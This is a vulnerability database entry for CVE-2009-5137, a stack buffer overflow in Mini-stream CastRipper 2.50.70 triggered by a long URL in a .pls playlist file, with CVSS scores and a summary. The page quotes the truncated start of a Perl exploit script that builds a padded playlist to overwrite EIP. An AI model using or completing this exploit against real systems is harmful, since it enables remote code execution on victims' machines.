7.5
CVSSv2

CVE-2009-5137

Published: 03/01/2014 Updated: 07/01/2014
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

Stack-based buffer overflow in Mini-stream CastRipper 2.50.70 allows remote malicious users to execute arbitrary code via a long URL in the [playlist] section in a .pls file, a different vector than CVE-2009-1667.

Vulnerable Product Search on Vulmon Subscribe to Product

mini-stream castripper 2.50.70

Exploits

#!/usr/bin/perl # CastRipper 25070 (pls) Universal Stack Overflow Exploit # Exploited By : zAx # ThE-zAx@HoTMaiLCoM print "CastRipper 25070 (pls) Universal Stack Overflow Exploit\n"; print "Exploited By : zAx"; print "Contact at : ThE-zAx@HoTMaiLCoM"; $header = "[playlist]\x0ANumberOfEntries=1\x0AFile1="; $junk = "\x41" x 26369; $eip ...